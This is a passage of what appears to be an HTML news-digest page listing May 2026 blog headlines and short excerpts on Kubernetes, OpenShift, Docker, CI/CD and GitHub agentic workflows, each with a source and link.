<p><a href="https://www.cncf.io/blog/2026/05/08/benchmarking-ai-agent-retrieval-strategies-on-kubernetes-bug-fixes/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-create-an-ingress-with-basic-authentication-for-suse-storage-using-traefik" class="group relative scroll-mt-24">
        <a href="#h3-create-an-ingress-with-basic-authentication-for-suse-storage-using-traefik" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Create an Ingress with Basic Authentication for SUSE Storage Using Traefik
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-create-an-ingress-with-basic-authentication-for-suse-storage-using-traefik"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If you install SUSE Storage on a Kubernetes cluster with kubectl or Helm, you need to create an Ingress so external traffic can reach the SUSE Storage UI. Authentication is not enabled by default when</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/create-an-ingress-with-basic-authentication-for-suse-storage-using-traefik/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-gitops-with-ibm-kubecost-preventing-argo-cd-rollbacks" class="group relative scroll-mt-24">
        <a href="#h3-gitops-with-ibm-kubecost-preventing-argo-cd-rollbacks" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitOps with IBM Kubecost: Preventing Argo CD Rollbacks
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gitops-with-ibm-kubecost-preventing-argo-cd-rollbacks"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Introduction Over-provisioned containers are one of the quietest budget leaks in Kubernetes. Pods requesting 512Mi of RAM but using 20Mi. CPU requests of 500m with actual consumption around 10m. Multi</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 Kubecost Blog</strong></p>
<p><a href="https://www.apptio.com/blog/gitops-with-ibm-kubecost-preventing-argo-cd-rollbacks/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-learn-openshift-virtualization-8-resources-to-help-you-get-started" class="group relative scroll-mt-24">
        <a href="#h3-learn-openshift-virtualization-8-resources-to-help-you-get-started" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Learn OpenShift Virtualization: 8 resources to help you get started
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-learn-openshift-virtualization-8-resources-to-help-you-get-started"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Red Hat OpenShift Virtualization, a native feature included with Red Hat OpenShift, lets you migrate your virtual machine (VM) workloads from your legacy virtualization platform to a modern, consisten</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/learn-openshift-virtualization"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-kubernetes-v136-more-drivers-new-features-and-the-next-era-of-dra" class="group relative scroll-mt-24">
        <a href="#h3-kubernetes-v136-more-drivers-new-features-and-the-next-era-of-dra" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Kubernetes v1.36: More Drivers, New Features, and the Next Era of DRA
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kubernetes-v136-more-drivers-new-features-and-the-next-era-of-dra"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Dynamic Resource Allocation (DRA) has fundamentally changed how platform administrators handle hardware accelerators and specialized resources in Kubernetes. In the v1.36 release, DRA continues to mat</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 Kubernetes Blog</strong></p>
<p><a href="https://kubernetes.io/blog/2026/05/07/kubernetes-v1-36-dra-136-updates/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-gke-turns-10-hackathon-with-amie-wei" class="group relative scroll-mt-24">
        <a href="#h3-gke-turns-10-hackathon-with-amie-wei" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GKE Turns 10 Hackathon, with Amie Wei
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gke-turns-10-hackathon-with-amie-wei"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amie Wei is a Sr. Solutions Engineer at HashiCorp and was the winner of last year&#39;s GKE Turns 10 Hackathon. It was Amie&#39;s first time entering a hackathon and she ended up bringing the prize home with </p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 Kubernetes Podcast</strong></p>
<p><a href="https://e780d51f-f115-44a6-8252-aed9216bb521.libsyn.com/gke-turns-10-hackathon-with-amie-wei"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-virtualization-at-full-speed-ahead-of-red-hat-summit-2026" class="group relative scroll-mt-24">
        <a href="#h3-virtualization-at-full-speed-ahead-of-red-hat-summit-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Virtualization at full speed ahead of Red Hat Summit 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-virtualization-at-full-speed-ahead-of-red-hat-summit-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If you&#39;re starting to rethink how you run virtualization workloads at your organization, you&#39;re not alone. Rising licensing costs, the pressure to apply AI, and a need to integrate services are inspir</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/virtualization-full-speed-ahead-red-hat-summit-2026"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-cloud-native" class="group relative scroll-mt-24">
        <a href="#h2-cloud-native" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          ☁️ Cloud Native
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cloud-native"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-comparing-different-approaches-to-sandboxing" class="group relative scroll-mt-24">
        <a href="#h3-comparing-different-approaches-to-sandboxing" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Comparing Different Approaches to Sandboxing
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-comparing-different-approaches-to-sandboxing"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Whether you are a software engineer, a product manager, or a designer, this quote should fundamentally change how we approach our daily routine. We are no longer just building interfaces; we are creat</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/comparing-sandboxing-approaches-ai-agents/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-microcks-becomes-a-cncf-incubating-project" class="group relative scroll-mt-24">
        <a href="#h3-microcks-becomes-a-cncf-incubating-project" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Microcks becomes a CNCF incubating project
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-microcks-becomes-a-cncf-incubating-project"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The CNCF Technical Oversight Committee (TOC) has voted to accept Microcks as a CNCF incubating project. About Microcks Modern software teams build applications as collections of interconnected APIs an</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/05/07/microcks-becomes-a-cncf-incubating-project/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-q1-2026-harness-cd-gitops-product-update" class="group relative scroll-mt-24">
        <a href="#h3-q1-2026-harness-cd-gitops-product-update" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Q1 2026: Harness CD & GitOps Product Update
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-q1-2026-harness-cd-gitops-product-update"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Q1 2026 brings AI Verify for zero-config deployment health analysis, Azure Container Apps support, Windows deployment performance, and enhanced GitOps workflows to Harness CD. | Blog</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/q1-2026-product-update-harness-continuous-delivery-gitops"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-tools-are-ready-so-why-are-most-cloud-native-teams-still-running-three-observability-stacks" class="group relative scroll-mt-24">
        <a href="#h3-the-tools-are-ready-so-why-are-most-cloud-native-teams-still-running-three-observability-stacks" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The tools are ready. So why are most cloud native teams still running three observability stacks?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-tools-are-ready-so-why-are-most-cloud-native-teams-still-running-three-observability-stacks"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>I’ve spent enough time in and around cloud native infrastructure to know that we’re reasonably good at standardizing the theory. OpenTelemetry for instrumentation, Prometheus for metrics, Jaeger and T</p>
<p><strong>📅 May 6, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/05/06/the-tools-are-ready-so-why-are-most-cloud-native-teams-still-running-three-observability-stacks/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-zabbix-and-the-docker-api-part-3-control" class="group relative scroll-mt-24">
        <a href="#h3-zabbix-and-the-docker-api-part-3-control" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Zabbix and the Docker API, Part 3: Control
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-zabbix-and-the-docker-api-part-3-control"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this blog post, you will learn how to add a simple container remote control capability to Zabbix in order to start, stop, or restart containers from within the discovered host. You might be wonderi</p>
<p><strong>📅 May 6, 2026</strong> • <strong>📰 Zabbix Blog</strong></p>
<p><a href="https://blog.zabbix.com/zabbix-and-the-docker-api-part-3-control/32961/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-generate-images-locally-with-docker-model-runner-and-open-webui" class="group relative scroll-mt-24">
        <a href="#h3-generate-images-locally-with-docker-model-runner-and-open-webui" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Generate Images Locally with Docker Model Runner and Open WebUI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-generate-images-locally-with-docker-model-runner-and-open-webui"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We&#39;ve all been there: you need to generate a few images for a project, you fire up an AI image service, and suddenly you&#39;re wondering what happens to your prompts, how many credits you have left, or w</p>
<p><strong>📅 May 5, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/blog-generate-images-locally-dmr-open-webui/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-precision-container-security-with-docker-and-black-duck" class="group relative scroll-mt-24">
        <a href="#h3-precision-container-security-with-docker-and-black-duck" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Precision Container Security with Docker and Black Duck
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-precision-container-security-with-docker-and-black-duck"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The complexity of modern containerized applications often leaves developers drowning in a sea of &quot;noise&quot;—vulnerabilities that exist in the file system but pose zero actual risk to the application. The</p>
<p><strong>📅 May 5, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/precision-container-security-with-docker-and-black-duck/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-cicd" class="group relative scroll-mt-24">
        <a href="#h2-cicd" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔄 CI/CD
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cicd"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-ship-code-within-minutes-with-the-gemini-cli-devops-extension" class="group relative scroll-mt-24">
        <a href="#h3-ship-code-within-minutes-with-the-gemini-cli-devops-extension" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Ship code within minutes with the Gemini CLI DevOps Extension
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ship-code-within-minutes-with-the-gemini-cli-devops-extension"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>With AI coding tools like Antigravity and Claude Code, I can build a working web app in record time. But deploying it? That&#39;s where I&#39;d historically lose the rest of the afternoon to Dockerfiles, IAM </p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/topics/developers-practitioners/ship-code-within-minutes-with-the-gemini-cli-devops-extension/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-why-age-assurance-laws-matter-for-developers" class="group relative scroll-mt-24">
        <a href="#h3-why-age-assurance-laws-matter-for-developers" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Why age assurance laws matter for developers
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-why-age-assurance-laws-matter-for-developers"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Youth safety requirements are moving down the tech stack to operating systems and app stores—raising new questions for open source developers. The post Why age assurance laws matter for developers app</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/news-insights/policy-news-and-insights/why-age-assurance-laws-matter-for-developers/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-researchers-are-using-github-innovation-graph-data-to-reveal-the-digital-complexity-of-nations" class="group relative scroll-mt-24">
        <a href="#h3-how-researchers-are-using-github-innovation-graph-data-to-reveal-the-digital-complexity-of-nations" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How researchers are using GitHub Innovation Graph data to reveal the “digital complexity” of nations
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-researchers-are-using-github-innovation-graph-data-to-reveal-the-digital-complexity-of-nations"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Researchers share in an interview how they used GitHub data to predict GDP, inequality, and emissions in ways that traditional economic data misses, along with our Q4 2025 data release. The post How r</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/news-insights/policy-news-and-insights/how-researchers-are-using-github-innovation-graph-data-to-reveal-the-digital-complexity-of-nations/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-bringing-new-levels-of-security-to-the-cloud-native-frontier-unified-posture-management-and-real-time-protection" class="group relative scroll-mt-24">
        <a href="#h3-bringing-new-levels-of-security-to-the-cloud-native-frontier-unified-posture-management-and-real-time-protection" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Bringing new levels of security to the cloud-native frontier: Unified posture management and real-time protection
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-bringing-new-levels-of-security-to-the-cloud-native-frontier-unified-posture-management-and-real-time-protection"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As enterprises scale their digital operations migrating to modern, cloud-native application platforms, security teams are consistently confronted with significant challenges. The dynamic and distribut</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/bringing-new-levels-security-cloud-native-frontier-unified-posture-management-and-real-time-protection"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-improving-token-efficiency-in-github-agentic-workflows" class="group relative scroll-mt-24">
        <a href="#h3-improving-token-efficiency-in-github-agentic-workflows" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Improving token efficiency in GitHub Agentic Workflows
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-improving-token-efficiency-in-github-agentic-workflows"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Agentic workflows that run on every pull request can quietly accumulate large API bills. Here&#39;s how we instrumented our own production workflows, found the inefficiencies, and built agents to fix them</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/ai-and-ml/github-copilot/improving-token-efficiency-in-github-agentic-workflows/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-agent-pull-requests-are-everywhere-heres-how-to-review-them" class="group relative scroll-mt-24">
        <a href="#h3-agent-pull-requests-are-everywhere-heres-how-to-review-them" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Agent pull requests are everywhere. Here’s how to review them.
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-agent-pull-requests-are-everywhere-heres-how-to-review-them"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
